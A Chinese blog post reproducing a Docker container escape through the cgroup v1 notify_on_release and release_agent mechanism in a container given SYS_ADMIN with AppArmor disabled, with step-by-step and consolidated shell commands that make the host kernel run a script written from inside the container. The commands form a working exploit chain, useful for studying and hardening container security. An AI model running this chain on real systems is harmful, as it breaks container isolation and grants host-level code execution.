SYS_ADMIN配置下的容器逃逸复现--cgroup

环境:

当给容器赋予了--cap-add=SYS_ADMIN权限和--security-opt apparmor=unconfined时,可以进行rewrite_cgroup_devices(devices.allow)、ebpf、notify_on_release(挂载cgroup)等多种方式进行逃逸,这里复现以下notify_on_release方式

前提条件:SYS_ADMIN开启;缺少AppArmor;cgroup v1虚拟文件系统必须以读写方式安装在容器内部

root@VM-2-33-ubuntu:~# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04 LTS
Release:        20.04
Codename:       focal
root@VM-2-33-ubuntu:~# docker -v
Docker version 20.10.12, build e91ed57
root@VM-2-33-ubuntu:~# docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

 过程

 1 挂载宿主机cgroup,并自定义一个cgroup,这里是/tmp/cgrp/x:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

2 配置/tmp/cgrp/x的cgroup的notify_no_release和release_agent:

  设置/tmp/cgrp/x的notify_no_release属性设置为1,通过sed匹配出/etc/mtab中perdir=的路径,然后将路径+cmd写入/tmp/cgrp/release_agent

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

 3 写入自定义命令进行逃逸:

将执行的命令写入/cmd下,结果回显在当前目录的output下,执行完sh -c之后,sh进程自动退出,cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,达到了容器逃逸的效果


echo '#!/bin/sh' > /cmd

echo "ls > $host_path/output" >> /cmd

chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

 

通过查看output可以到执行命令成功,

 这样子不明显的话我们可以开启另一个宿主机shell,在宿主机root目录下创建一下1.txt的文件

然后在容器里读取

宿主机创建文件:

 容器中执行ls /root,这里对应“ 3 写入自定义命令进行逃逸:”这一部分,发现可以看到1.txt

最后汇总一下所有命令

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

 参考:Docker SYS_ADMIN 容器逃逸原理解析 - FreeBuf网络安全行业门户

https://github.com/cdk-team/CDK/wiki/Exploit:-mount-cgroup

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值